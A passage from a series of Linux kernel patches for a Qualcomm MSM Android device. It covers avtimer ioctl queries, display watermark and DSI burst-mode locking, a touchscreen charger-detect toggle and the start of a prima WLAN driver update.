SINGLE_TAP_INTERRUPT REL_Z +#define ORIENT_INTERRUPT REL_Z +#define FLAT_INTERRUPT REL_Z +#define SLOW_NO_MOTION_INTERRUPT REL_Z +#endif #define HIGH_G_INTERRUPT_X_HAPPENED 1 #define HIGH_G_INTERRUPT_Y_HAPPENED 2 From a77969122c4b6639f228064da658284f5255cec3 Mon Sep 17 00:00:00 2001 From: Laxminath Kasam Date: Thu, 26 Nov 2015 10:11:07 +0530 Subject: [PATCH 110/365] avtimer: update ioctl call to query avtimer current avtimer ioctl uses deprecated logic to query avtimer. Use the updated API to query avtimer to avoid wrong timestamp values when query using ioctl interface. Change-Id: I16e4373226903b6121c911ed9f2ca31851de80e5 Signed-off-by: Laxminath Kasam --- drivers/platform/msm/avtimer.c | 21 ++++++--------------- 1 file changed, 6 insertions(+), 15 deletions(-) diff --git a/drivers/platform/msm/avtimer.c b/drivers/platform/msm/avtimer.c index 0a5aece5ab680..d6b6fc0611045 100644 --- a/drivers/platform/msm/avtimer.c +++ b/drivers/platform/msm/avtimer.c @@ -306,7 +306,8 @@ int avcs_core_query_timer(uint64_t *avtimer_tick) | avtimer_lsw; res = do_div(avtimer_tick_temp, avtimer.clk_div); *avtimer_tick = avtimer_tick_temp; - pr_debug("%s:Avtimer: msw: %u, lsw: %u, tick: %llu\n", __func__, + pr_debug_ratelimited("%s:Avtimer: msw: %u, lsw: %u, tick: %llu\n", + __func__, avtimer_msw, avtimer_lsw, *avtimer_tick); return 0; } @@ -331,21 +332,11 @@ static long avtimer_ioctl(struct file *file, unsigned int ioctl_num, switch (ioctl_num) { case IOCTL_GET_AVTIMER_TICK: { - uint32_t avtimer_msw_1st = 0, avtimer_lsw = 0; - uint32_t avtimer_msw_2nd = 0; uint64_t avtimer_tick; - do { - avtimer_msw_1st = ioread32(avtimer.p_avtimer_msw); - avtimer_lsw = ioread32(avtimer.p_avtimer_lsw); - avtimer_msw_2nd = ioread32(avtimer.p_avtimer_msw); - } while (avtimer_msw_1st != avtimer_msw_2nd); - - avtimer_lsw = avtimer_lsw/avtimer.clk_div; - avtimer_tick = - ((uint64_t) avtimer_msw_1st << 32) | avtimer_lsw; - - pr_debug("%s: AV Timer tick: msw: %x, lsw: %x time %llx\n", - __func__, avtimer_msw_1st, avtimer_lsw, avtimer_tick); + + avcs_core_query_timer(&avtimer_tick); + pr_debug_ratelimited("%s: AV Timer tick: time %llx\n", + __func__, avtimer_tick); if (copy_to_user((void *) ioctl_param, &avtimer_tick, sizeof(avtimer_tick))) { pr_err("copy_to_user failed\n"); From dbf2eb818dcde26973190068da067fd5454dcf71 Mon Sep 17 00:00:00 2001 From: Kalyan Thota Date: Fri, 18 Sep 2015 22:48:35 +0530 Subject: [PATCH 111/365] msm: mdss: calculate MDSS watermark levels as per free smp level SMP free level should be considered in deciding MDSS watermark instead of fill level.The change will also cater flip case where watermarks are to be calculated by ignoring 1 line. Change-Id: Ic646fd64183884c1fcda6b9162a032a1cda54ea4 Signed-off-by: Kalyan Thota --- drivers/video/msm/mdss/mdss_mdp.h | 4 +- drivers/video/msm/mdss/mdss_mdp_ctl.c | 55 +++++-------- drivers/video/msm/mdss/mdss_mdp_pipe.c | 107 +++++++++++++++---------- 3 files changed, 87 insertions(+), 79 deletions(-) diff --git a/drivers/video/msm/mdss/mdss_mdp.h b/drivers/video/msm/mdss/mdss_mdp.h index dbb4c8837be95..e6576e8a623d4 100644 --- a/drivers/video/msm/mdss/mdss_mdp.h +++ b/drivers/video/msm/mdss/mdss_mdp.h @@ -794,7 +794,7 @@ int mdss_mdp_perf_bw_check_pipe(struct mdss_mdp_perf_params *perf, int mdss_mdp_perf_calc_pipe(struct mdss_mdp_pipe *pipe, struct mdss_mdp_perf_params *perf, struct mdss_rect *roi, u32 flags); -u32 mdss_mdp_calc_latency_buf_bytes(bool is_yuv, bool is_bwc, +u32 mdss_mdp_calc_latency_buf_bytes(bool is_bwc, bool is_tile, u32 src_w, u32 bpp, bool use_latency_buf_percentage, u32 smp_bytes); u32 mdss_mdp_get_mdp_clk_rate(struct mdss_data_type *mdata); @@ -888,7 +888,7 @@ void mdss_mdp_pipe_unmap(struct mdss_mdp_pipe *pipe); struct mdss_mdp_pipe *mdss_mdp_pipe_alloc_dma(struct mdss_mdp_mixer *mixer); u32 mdss_mdp_smp_calc_num_blocks(struct mdss_mdp_pipe *pipe); -u32 mdss_mdp_smp_get_size(struct mdss_mdp_pipe *pipe); +u32 mdss_mdp_smp_get_size(struct mdss_mdp_pipe *pipe, u32 num_planes); int mdss_mdp_smp_reserve(struct mdss_mdp_pipe *pipe); void mdss_mdp_smp_unreserve(struct mdss_mdp_pipe *pipe); void mdss_mdp_smp_release(struct mdss_mdp_pipe *pipe); diff --git a/drivers/video/msm/mdss/mdss_mdp_ctl.c b/drivers/video/msm/mdss/mdss_mdp_ctl.c index 22d8a0a0914fe..0f04a1230f673 100644 --- a/drivers/video/msm/mdss/mdss_mdp_ctl.c +++ b/drivers/video/msm/mdss/mdss_mdp_ctl.c @@ -153,7 +153,6 @@ static inline u32 mdss_mdp_align_latency_buf_bytes( * @ mdss_mdp_calc_latency_buf_bytes() - * Get the number of bytes for the * latency lines. - * @is_yuv - true if format is yuv * @is_bwc - true if BWC is enabled * @is_tile - true if it is Tile format * @src_w - source rectangle width @@ -175,42 +174,28 @@ static inline u32 mdss_mdp_align_latency_buf_bytes( * for the latency lines without any * extra bytes. */ -u32 mdss_mdp_calc_latency_buf_bytes(bool is_yuv, bool is_bwc, +u32 mdss_mdp_calc_latency_buf_bytes(bool is_bwc, bool is_tile, u32 src_w, u32 bpp, bool use_latency_buf_percentage, u32 smp_bytes) { u32 latency_lines, latency_buf_bytes; struct mdss_data_type *mdata = mdss_mdp_get_mdata(); - if (is_yuv) { - if (is_bwc) { - latency_lines = 4; - latency_buf_bytes = src_w * bpp * - latency_lines; - } else { - latency_lines = 2; - /* multiply * 2 for the two YUV planes */ - latency_buf_bytes = mdss_mdp_align_latency_buf_bytes( - src_w * bpp * latency_lines, - use_latency_buf_percentage ? - mdata->latency_buff_per : 0, smp_bytes) * 2; - } + + if (is_bwc) { + latency_lines = 4; + latency_buf_bytes = src_w * bpp * + latency_lines; + } else if (is_tile) { + latency_lines = 8; + latency_buf_bytes = src_w * bpp * + latency_lines; } else { - if (is_tile) { - latency_lines = 8; - latency_buf_bytes = src_w * bpp * - latency_lines; - } else if (is_bwc) { - latency_lines = 4; - latency_buf_bytes = src_w * bpp * - latency_lines; - } else { - latency_lines = 2; - latency_buf_bytes = mdss_mdp_align_latency_buf_bytes( - src_w * bpp * latency_lines, - use_latency_buf_percentage ? - mdata->latency_buff_per : 0, smp_bytes); - } + latency_lines = 2; + latency_buf_bytes = mdss_mdp_align_latency_buf_bytes( + src_w * bpp * latency_lines, + use_latency_buf_percentage ? + mdata->latency_buff_per : 0, smp_bytes); } return latency_buf_bytes; @@ -242,8 +227,8 @@ static u32 mdss_mdp_perf_calc_pipe_prefill_video(struct mdss_mdp_prefill_params prefill_bytes = prefill->ot_bytes; - latency_buf_bytes = mdss_mdp_calc_latency_buf_bytes(params->is_yuv, - params->is_bwc, params->is_tile, params->src_w, params->bpp, + latency_buf_bytes = mdss_mdp_calc_latency_buf_bytes(params->is_bwc, + params->is_tile, params->src_w, params->bpp, true, params->smp_bytes); prefill_bytes += latency_buf_bytes; pr_debug("latency_buf_bytes bw_calc=%d actual=%d\n", latency_buf_bytes, @@ -328,8 +313,8 @@ static u32 mdss_mdp_perf_calc_pipe_prefill_cmd(struct mdss_mdp_prefill_params prefill_bytes += ot_bytes; latency_buf_bytes = mdss_mdp_calc_latency_buf_bytes( - params->is_yuv, params->is_bwc, params->is_tile, - params->src_w, params->bpp, true, params->smp_bytes); + params->is_bwc, params->is_tile, params->src_w, + params->bpp, true, params->smp_bytes); prefill_bytes += latency_buf_bytes; if (params->is_yuv) @@ -399,7 +384,7 @@ u32 mdss_mdp_perf_calc_smp_size(struct mdss_mdp_pipe *pipe, return 0; /* Get allocated or fixed smp bytes */ - smp_bytes = mdss_mdp_smp_get_size(pipe); + smp_bytes = mdss_mdp_smp_get_size(pipe, MAX_PLANES); /* * We need to calculate the SMP size for scenarios where diff --git a/drivers/video/msm/mdss/mdss_mdp_pipe.c b/drivers/video/msm/mdss/mdss_mdp_pipe.c index 52c530f557aea..77790f297587f 100644 --- a/drivers/video/msm/mdss/mdss_mdp_pipe.c +++ b/drivers/video/msm/mdss/mdss_mdp_pipe.c @@ -246,12 +246,13 @@ u32 mdss_mdp_smp_calc_num_blocks(struct mdss_mdp_pipe *pipe) /** * @mdss_mdp_smp_get_size - get allocated smp size for a pipe * @pipe: pointer to a pipe - * + * @num_planes: number of planes, to be considered in calculation * Function counts number of blocks that are currently allocated for a * pipe, then smp buffer size is number of blocks multiplied by block * size. */ -u32 mdss_mdp_smp_get_size(struct mdss_mdp_pipe *pipe) +u32 mdss_mdp_smp_get_size(struct mdss_mdp_pipe *pipe, + u32 num_planes) { int i, mb_cnt = 0, smp_size; struct mdss_data_type *mdata = mdss_mdp_get_mdata(); @@ -259,7 +260,7 @@ u32 mdss_mdp_smp_get_size(struct mdss_mdp_pipe *pipe) if (mdata->has_pixel_ram) { smp_size = mdss_mdp_get_pixel_ram_size(mdata); } else { - for (i = 0; i < MAX_PLANES; i++) { + for (i = 0; i < num_planes; i++) { mb_cnt += bitmap_weight(pipe->smp_map[i].allocated, SMP_MB_CNT); mb_cnt += bitmap_weight(pipe->smp_map[i].fixed, @@ -275,13 +276,16 @@ u32 mdss_mdp_smp_get_size(struct mdss_mdp_pipe *pipe) return smp_size; } -static void mdss_mdp_smp_set_wm_levels(struct mdss_mdp_pipe *pipe, int mb_cnt) +static void mdss_mdp_smp_set_wm_levels(struct mdss_mdp_pipe *pipe, + u32 useable_space) { struct mdss_data_type *mdata = mdss_mdp_get_mdata(); - u32 useable_space, latency_bytes, val, wm[3]; + u32 latency_bytes, val, wm[3], req_entries; struct mdss_mdp_mixer *mixer = pipe->mixer_left; + u32 useable_entries = useable_space; + u8 bpp = pipe->src_fmt->bpp; - useable_space = mb_cnt * SMP_MB_SIZE; + BUG_ON(useable_space < SMP_MB_SIZE); /* * For 1.3.x version, when source format is macrotile then useable @@ -294,31 +298,33 @@ static void mdss_mdp_smp_set_wm_levels(struct mdss_mdp_pipe *pipe, int mb_cnt) * transactions when filling the full SMPs have the lowest priority. */ - latency_bytes = mdss_mdp_calc_latency_buf_bytes(pipe->src_fmt->is_yuv, - pipe->bwc_mode, pipe->src_fmt->tile, pipe->src.w, - pipe->src_fmt->bpp, - false, useable_space); + if (pipe->src_fmt->is_yuv) + bpp = (pipe->src_fmt->chroma_sample == + MDSS_MDP_CHROMA_H1V2) ? 2 : 1; - if ((pipe->flags & MDP_FLIP_LR) && !pipe->src_fmt->tile) { - /* - * when doing hflip, one line is reserved to be consumed down - * the pipeline. This line will always be marked as full even - * if it doesn't have any data. In order to generate proper - * priority levels ignore this region while setting up - * watermark levels - */ - u8 bpp = pipe->src_fmt->is_yuv ? 1 : - pipe->src_fmt->bpp; - latency_bytes -= (pipe->src.w * bpp); - } + latency_bytes = mdss_mdp_calc_latency_buf_bytes(pipe->bwc_mode, + pipe->src_fmt->tile, pipe->src.w, bpp, false, + useable_space); + + /* + * when doing hflip, one line is reserved to be consumed down + * the pipeline. This line will always be marked as full even + * if it doesn't have any data. In order to generate proper + * priority levels ignore this region while setting up + * watermark levels + */ + if ((pipe->flags & MDP_FLIP_LR) && !pipe->src_fmt->tile) + useable_entries -= (pipe->src.w * bpp); + + useable_entries = useable_entries / SMP_MB_ENTRY_SIZE; + req_entries = (latency_bytes / SMP_MB_ENTRY_SIZE); if (IS_MDSS_MAJOR_MINOR_SAME(mdata->mdp_rev, MDSS_MDP_HW_REV_103) && (pipe->src_fmt->tile)) { - val = latency_bytes / SMP_MB_ENTRY_SIZE; - wm[0] = (val * 5) / 8; - wm[1] = (val * 6) / 8; - wm[2] = (val * 7) / 8; + wm[0] = (req_entries * 5) / 8; + wm[1] = (req_entries * 6) / 8; + wm[2] = (req_entries * 7) / 8; } else if (mixer->rotator_mode || (mixer->ctl->intf_num == MDSS_MDP_NO_INTF)) { /* any non real time pipe */ @@ -327,18 +333,34 @@ static void mdss_mdp_smp_set_wm_levels(struct mdss_mdp_pipe *pipe, int mb_cnt) wm[2] = 0xffff; } else { /* - * 1/3 of the latency buffer bytes from the - * SMP pool that is being fetched - */ - val = (latency_bytes / SMP_MB_ENTRY_SIZE) / 3; - - wm[0] = val; - wm[1] = wm[0] + val; - wm[2] = wm[1] + val; + * WM levels to be set are 1/3 , 2/3, 3/3 + ***************** + * * + * * + * * + * 00 * + * * + * * + * * + ***************** 1/3 + * 01 * + ***************** 2/3 + * 10 * + ***************** 3/3 + * 11 * + ***************** + */ + + val = req_entries / 3; + + wm[2] = useable_entries - val; + wm[1] = wm[2] - val; + wm[0] = wm[1] - val; } trace_mdp_perf_set_wm_levels(pipe->num, useable_space, latency_bytes, - wm[0], wm[1], wm[2], mb_cnt, SMP_MB_SIZE); + wm[0], wm[1], wm[2], (useable_space / SMP_MB_SIZE), + SMP_MB_SIZE); pr_debug("pnum=%d useable_space=%u watermarks %u,%u,%u\n", pipe->num, useable_space, wm[0], wm[1], wm[2]); @@ -566,7 +588,7 @@ int mdss_mdp_smp_reserve(struct mdss_mdp_pipe *pipe) static int mdss_mdp_smp_alloc(struct mdss_mdp_pipe *pipe) { int i; - int cnt = 0; + u32 smp_size = 0; struct mdss_data_type *mdata = mdss_mdp_get_mdata(); if (mdata->has_pixel_ram) @@ -574,20 +596,21 @@ static int mdss_mdp_smp_alloc(struct mdss_mdp_pipe *pipe) mutex_lock(&mdss_mdp_smp_lock); for (i = 0; i < MAX_PLANES; i++) { - cnt += bitmap_weight(pipe->smp_map[i].fixed, SMP_MB_CNT); - if (bitmap_empty(pipe->smp_map[i].reserved, SMP_MB_CNT)) { - cnt += mdss_mdp_smp_mmb_set(pipe->ftch_id + i, - pipe->smp_map[i].allocated); + mdss_mdp_smp_mmb_set(pipe->ftch_id + i, + pipe->smp_map[i].allocated); continue; } mdss_mdp_smp_mmb_amend(pipe->smp_map[i].allocated, pipe->smp_map[i].reserved); - cnt += mdss_mdp_smp_mmb_set(pipe->ftch_id + i, + mdss_mdp_smp_mmb_set(pipe->ftch_id + i, pipe->smp_map[i].allocated); } - mdss_mdp_smp_set_wm_levels(pipe, cnt); + + /* Calculate size of Y plane for both RGB and YUV for WM */ + smp_size = mdss_mdp_smp_get_size(pipe, 1); + mdss_mdp_smp_set_wm_levels(pipe, smp_size); mutex_unlock(&mdss_mdp_smp_lock); return 0; } From 9480719b393b161055bbe85bfb7ba88de0da94f6 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 13 Mar 2016 15:57:55 +0700 Subject: [PATCH 112/365] Revert "Revert "msm: mdss: send dsi data and command independently"" * Get rid blue flashing video This reverts commit 3475f7fa6afb551749f8a544e0cd3a1a589926a1. Change-Id: Ibb7726773a0f80544b80cd772218a9456c0a6f2f --- drivers/video/msm/mdss/mdss_dsi.h | 2 ++ drivers/video/msm/mdss/mdss_dsi_cmd.c | 7 ++++- drivers/video/msm/mdss/mdss_dsi_host.c | 42 +++++++++++++++++++------- 3 files changed, 39 insertions(+), 12 deletions(-) diff --git a/drivers/video/msm/mdss/mdss_dsi.h b/drivers/video/msm/mdss/mdss_dsi.h index 19ca4c4032a2e..21ae041254203 100644 --- a/drivers/video/msm/mdss/mdss_dsi.h +++ b/drivers/video/msm/mdss/mdss_dsi.h @@ -393,6 +393,7 @@ struct mdss_dsi_ctrl_pdata { int mdp_busy; struct mutex mutex; struct mutex cmd_mutex; + struct mutex cmdlist_mutex; struct mutex clk_lane_mutex; u32 ulps_clamp_ctrl_off; @@ -401,6 +402,7 @@ struct mdss_dsi_ctrl_pdata { bool core_power; bool mmss_clamp; bool timing_db_mode; + bool burst_mode_enabled; struct dsi_buf tx_buf; struct dsi_buf rx_buf; diff --git a/drivers/video/msm/mdss/mdss_dsi_cmd.c b/drivers/video/msm/mdss/mdss_dsi_cmd.c index f233589d5de68..72e24d2f07adc 100644 --- a/drivers/video/msm/mdss/mdss_dsi_cmd.c +++ b/drivers/video/msm/mdss/mdss_dsi_cmd.c @@ -1,4 +1,4 @@ -/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. +/* Copyright (c) 2012-2015, The Linux Foundation. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and @@ -653,6 +653,7 @@ struct dcs_cmd_req *mdss_dsi_cmdlist_get(struct mdss_dsi_ctrl_pdata *ctrl) struct dcs_cmd_list *clist; struct dcs_cmd_req *req = NULL; + mutex_lock(&ctrl->cmdlist_mutex); clist = &ctrl->cmdlist; if (clist->get != clist->put) { req = &clist->list[clist->get]; @@ -662,6 +663,7 @@ struct dcs_cmd_req *mdss_dsi_cmdlist_get(struct mdss_dsi_ctrl_pdata *ctrl) pr_debug("%s: tot=%d put=%d get=%d\n", __func__, clist->tot, clist->put, clist->get); } + mutex_unlock(&ctrl->cmdlist_mutex); return req; } @@ -673,6 +675,7 @@ int mdss_dsi_cmdlist_put(struct mdss_dsi_ctrl_pdata *ctrl, int ret = 0; mutex_lock(&ctrl->cmd_mutex); + mutex_lock(&ctrl->cmdlist_mutex); clist = &ctrl->cmdlist; req = &clist->list[clist->put]; *req = *cmdreq; @@ -691,6 +694,8 @@ int mdss_dsi_cmdlist_put(struct mdss_dsi_ctrl_pdata *ctrl, pr_debug("%s: tot=%d put=%d get=%d\n", __func__, clist->tot, clist->put, clist->get); + mutex_unlock(&ctrl->cmdlist_mutex); + if (req->flags & CMD_REQ_COMMIT) { if (!ctrl->cmdlist_commit) pr_err("cmdlist_commit not implemented!\n"); diff --git a/drivers/video/msm/mdss/mdss_dsi_host.c b/drivers/video/msm/mdss/mdss_dsi_host.c index 2047c68356a65..90e181da09636 100644 --- a/drivers/video/msm/mdss/mdss_dsi_host.c +++ b/drivers/video/msm/mdss/mdss_dsi_host.c @@ -107,6 +107,7 @@ void mdss_dsi_ctrl_init(struct device *ctrl_dev, mutex_init(&ctrl->mutex); mutex_init(&ctrl->cmd_mutex); mutex_init(&ctrl->clk_lane_mutex); + mutex_init(&ctrl->cmdlist_mutex); mdss_dsi_buf_alloc(ctrl_dev, &ctrl->tx_buf, SZ_4K); mdss_dsi_buf_alloc(ctrl_dev, &ctrl->rx_buf, SZ_4K); mdss_dsi_buf_alloc(ctrl_dev, &ctrl->status_buf, SZ_4K); @@ -1031,7 +1032,7 @@ static void mdss_dsi_mode_setup(struct mdss_panel_data *pdata) u32 ystride, bpp, dst_bpp; u32 stream_ctrl, stream_total; u32 dummy_xres = 0, dummy_yres = 0; - u32 hsync_period, vsync_period; + u32 hsync_period, vsync_period, reg = 0; ctrl_pdata = container_of(pdata, struct mdss_dsi_ctrl_pdata, panel_data); @@ -1105,6 +1106,13 @@ static void mdss_dsi_mode_setup(struct mdss_panel_data *pdata) stream_total = height << 16 | width; } + /* Enable frame transfer in burst mode */ + if (ctrl_pdata->hw_rev >= MDSS_DSI_HW_REV_103) { + reg = MIPI_INP(ctrl_pdata->ctrl_base + 0x1b8); + reg = reg | BIT(16); + MIPI_OUTP((ctrl_pdata->ctrl_base + 0x1b8), reg); + ctrl_pdata->burst_mode_enabled = 1; + } /* DSI_COMMAND_MODE_MDP_STREAM_CTRL */ MIPI_OUTP((ctrl_pdata->ctrl_base) + 0x60, stream_ctrl); MIPI_OUTP((ctrl_pdata->ctrl_base) + 0x58, stream_ctrl); @@ -2020,31 +2028,43 @@ int mdss_dsi_cmdlist_commit(struct mdss_dsi_ctrl_pdata *ctrl, int from_mdp) struct mdss_rect *roi = NULL; int ret = -EINVAL; int rc = 0; + bool cmd_mutex_acquired = false; if (mdss_get_sd_client_cnt()) return -EPERM; if (from_mdp) { /* from mdp kickoff */ - mutex_lock(&ctrl->cmd_mutex); + if (!ctrl->burst_mode_enabled) { + mutex_lock(&ctrl->cmd_mutex); + cmd_mutex_acquired = true; + } pinfo = &ctrl->panel_data.panel_info; if (pinfo->partial_update_enabled) roi = &pinfo->roi; } req = mdss_dsi_cmdlist_get(ctrl); + if (req && from_mdp && ctrl->burst_mode_enabled) { + mutex_lock(&ctrl->cmd_mutex); + cmd_mutex_acquired = true; + } MDSS_XLOG(ctrl->ndx, from_mdp, ctrl->mdp_busy, current->pid, XLOG_FUNC_ENTRY); if (req == NULL) goto need_lock; - /* make sure dsi_cmd_mdp is idle */ - rc = mdss_dsi_cmd_mdp_busy(ctrl); - if (rc) { - pr_err("%s: mdp busy timeout\n", __func__); - if (from_mdp) - mutex_unlock(&ctrl->cmd_mutex); - return rc; + if (!ctrl->burst_mode_enabled || from_mdp) { + /* make sure dsi_cmd_mdp is idle when + * burst mode is not enabled + */ + rc = mdss_dsi_cmd_mdp_busy(ctrl); + if (rc) { + pr_err("%s: mdp busy timeout\n", __func__); + if (from_mdp) + mutex_unlock(&ctrl->cmd_mutex); + return rc; + } } pr_debug("%s: ctrl=%d from_mdp=%d pid=%d\n", __func__, @@ -2130,8 +2150,8 @@ int mdss_dsi_cmdlist_commit(struct mdss_dsi_ctrl_pdata *ctrl, int from_mdp) */ if (!roi || (roi->w != 0 || roi->h != 0)) mdss_dsi_cmd_mdp_start(ctrl); - - mutex_unlock(&ctrl->cmd_mutex); + if (cmd_mutex_acquired) + mutex_unlock(&ctrl->cmd_mutex); } else { /* from dcs send */ if (ctrl->cmd_clk_ln_recovery_en && ctrl->panel_mode == DSI_CMD_MODE && From d15440517cdcaf4db98aa93f4511789bbbf2f9c0 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 13 Mar 2016 21:35:26 +0700 Subject: [PATCH 113/365] input: ft5x06_ts: Disable register update on charger mode * Not working as expected, touchscreen performance become worse Change-Id: I152504712e937db2c483e3c661b545ae7cd9e3b4 --- drivers/input/touchscreen/ft5x06_ts.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/input/touchscreen/ft5x06_ts.c b/drivers/input/touchscreen/ft5x06_ts.c index 399fe902152f9..efe8e2f771531 100644 --- a/drivers/input/touchscreen/ft5x06_ts.c +++ b/drivers/input/touchscreen/ft5x06_ts.c @@ -240,7 +240,7 @@ enum { #define FT_DEBUG_DIR_NAME "ts_debug" #ifdef CONFIG_MACH_WT88047 -#define CTP_CHARGER_DETECT 1 +#define CTP_CHARGER_DETECT 0 #endif #if CTP_CHARGER_DETECT From b33b7a2a444b44fc5fce055578fce82e2ac58b39 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 13 Mar 2016 22:16:26 +0700 Subject: [PATCH 114/365] staging: prima: Update to LA.BR.1.2.6_rb1.10 Change-Id: I67ea22edd78c74a2bd8080b034a8f47b4d4c14a9 --- .../staging/prima/CORE/DXE/inc/wlan_qct_dxe.h | 19 +++ .../staging/prima/CORE/DXE/src/wlan_qct_dxe.c | 37 ++++- .../staging/prima/CORE/HDD/inc/wlan_hdd_cfg.h | 11 ++ .../prima/CORE/HDD/src/wlan_hdd_assoc.c | 16 +- .../staging/prima/CORE/HDD/src/wlan_hdd_cfg.c | 15 ++ .../prima/CORE/HDD/src/wlan_hdd_cfg80211.c | 73 +++++++-- .../CORE/HDD/src/wlan_hdd_early_suspend.c | 3 + .../staging/prima/CORE/HDD/src/wlan_hdd_p2p.c | 2 +- .../prima/CORE/HDD/src/wlan_hdd_tdls.c | 38 +++-- .../prima/CORE/HDD/src/wlan_hdd_tx_rx.c | 14 ++ .../prima/CORE/HDD/src/wlan_hdd_wext.c | 19 ++- .../prima/CORE/MAC/inc/sirMacProtDef.h | 5 +- drivers/staging/prima/CORE/MAC/inc/wniCfg.h | 11 +- .../prima/CORE/MAC/src/cfg/cfgProcMsg.c | 9 +- .../prima/CORE/MAC/src/dph/dphHashTable.c | 1 - .../prima/CORE/MAC/src/pe/lim/limApi.c | 6 + .../prima/CORE/MAC/src/pe/lim/limP2P.c | 51 ++----- .../MAC/src/pe/lim/limProcessActionFrame.c | 33 ++--- .../prima/CORE/MAC/src/pe/lim/limUtils.c | 44 +++++- .../prima/CORE/MAC/src/pe/lim/limUtils.h | 4 +- .../prima/CORE/SME/src/csr/csrApiRoam.c | 135 +++++++++++------ .../prima/CORE/SME/src/sme_common/sme_FTApi.c | 8 +- .../staging/prima/CORE/TL/inc/wlan_qct_tl.h | 2 +- .../staging/prima/CORE/TL/src/wlan_qct_tl.c | 17 +++ .../staging/prima/CORE/TL/src/wlan_qct_tli.h | 2 + .../staging/prima/CORE/VOSS/inc/vos_packet.h | 38 ++++- .../staging/prima/CORE/VOSS/src/vos_packet.c | 85 ++++++++++- .../staging/prima/CORE/WDA/inc/wlan_qct_wda.h | 16 ++ .../staging/prima/CORE/WDA/src/wlan_qct_wda.c | 38 ++++- .../prima/CORE/WDI/CP/inc/wlan_qct_wdi.h | 10 ++ .../prima/CORE/WDI/CP/src/wlan_qct_wdi.c | 22 ++- .../CORE/WDI/TRP/DTS/inc/wlan_qct_wdi_dts.h | 10 ++ .../CORE/WDI/TRP/DTS/src/wlan_qct_wdi_dts.c | 140 +++++++++++++++--- .../CORE/WDI/WPAL/inc/wlan_qct_pal_packet.h | 31 ++++ .../CORE/WDI/WPAL/src/wlan_qct_pal_packet.c | 39 +++++ drivers/staging/prima/riva/inc/wlan_hal_cfg.h | 5 +- 36 files changed, 826 insertions(+), 183 deletions(-) diff --git a/drivers/staging/prima/CORE/DXE/inc/wlan_qct_dxe.h b/drivers/staging/prima/CORE/DXE/inc/wlan_qct_dxe.h index 91f917c98d9d7..70c2eb650efb2 100644 --- a/drivers/staging/prima/CORE/DXE/inc/wlan_qct_dxe.h +++ b/drivers/staging/prima/CORE/DXE/inc/wlan_qct_dxe.h @@ -442,6 +442,25 @@ void WLANDXE_ChannelDebug wpt_uint8 debugFlags ); +/*========================================================================== + @ Function Name + WLANDXE_KickDxe + + @ Description + Kick Dxe when HDD TX timeout happen + + @ Parameters + NONE + + @ Return + NONE + +===========================================================================*/ +void WLANDXE_KickDxe +( + void +); + wpt_uint32 WLANDXE_SetupLogTransfer ( wpt_uint64 bufferAddr, diff --git a/drivers/staging/prima/CORE/DXE/src/wlan_qct_dxe.c b/drivers/staging/prima/CORE/DXE/src/wlan_qct_dxe.c index 253203bb2ceb5..ca813be4cca8d 100644 --- a/drivers/staging/prima/CORE/DXE/src/wlan_qct_dxe.c +++ b/drivers/staging/prima/CORE/DXE/src/wlan_qct_dxe.c @@ -3230,13 +3230,15 @@ static wpt_status dxeTXPushFrame { wpt_status status = eWLAN_PAL_STATUS_SUCCESS; WLANDXE_DescCtrlBlkType *currentCtrlBlk = NULL; + WLANDXE_DescCtrlBlkType *tailCtrlBlk = NULL; WLANDXE_DescType *currentDesc = NULL; WLANDXE_DescType *firstDesc = NULL; WLANDXE_DescType *LastDesc = NULL; + WLANDXE_DescType *tailDesc = NULL; void *sourcePhysicalAddress = NULL; wpt_uint32 xferSize = 0; wpt_iterator iterator; - wpt_uint32 KickDxe = 0; + wpt_uint8 KickDxe = 0; HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_INFO_LOW, "%s Enter", __func__); @@ -3250,7 +3252,17 @@ static wpt_status dxeTXPushFrame /* Kick DXE when the ring is about to fill */ if (WLANDXE_TX_LOW_RES_THRESHOLD >= channelEntry->numFreeDesc) + { KickDxe = 1; + tailCtrlBlk = channelEntry->tailCtrlBlk; + tailDesc = tailCtrlBlk->linkedDesc; + + if(tailDesc->descCtrl.ctrl& WLANDXE_DESC_CTRL_VALID) + { + HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_INFO, + "dxeTXPushFrame Descs threshold reached No DMA"); + } + } channelEntry->numFragmentCurrentChain = 0; currentCtrlBlk = channelEntry->headCtrlBlk; @@ -5730,6 +5742,29 @@ void WLANDXE_ChannelDebug return; } +/*========================================================================== + @ Function Name + WLANDXE_KickDxe + + @ Description + Kick DXE when HDD TX time out happen + + @ Parameters + NONE + + @ Return + NONE + +===========================================================================*/ +void WLANDXE_KickDxe(void) +{ + HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_ERROR, + "%s: Kick Dxe for HDD TX timeout",__func__); + /* Make wake up HW */ + dxeNotifySmsm(eWLAN_PAL_FALSE, eWLAN_PAL_TRUE); + dxeNotifySmsm(eWLAN_PAL_TRUE, eWLAN_PAL_FALSE); +} + wpt_uint32 WLANDXE_SetupLogTransfer(wpt_uint64 bufferAddr, wpt_uint32 bufferLen) { WLANDXE_ChannelCBType *channelEntry; diff --git a/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_cfg.h b/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_cfg.h index 87f3633666c20..42d63e54d6e3c 100644 --- a/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_cfg.h +++ b/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_cfg.h @@ -2550,6 +2550,16 @@ This feature requires the dependent cfg.ini "gRoamPrefer5GHz" set to 1 */ #define CFG_OPTIMIZE_CA_EVENT_ENABLE ( 1 ) #define CFG_OPTIMIZE_CA_EVENT_DEFAULT ( 0 ) +/* + * BOffsetCorrectionEnable : This ini will control enabling/disabling + * of rate dependent power offsets in firmware + */ + +#define CFG_SAR_BOFFSET_SET_CORRECTION_NAME "gBOffsetCorrectionEnable" +#define CFG_SAR_BOFFSET_SET_CORRECTION_MIN (0) +#define CFG_SAR_BOFFSET_SET_CORRECTION_MAX (1) +#define 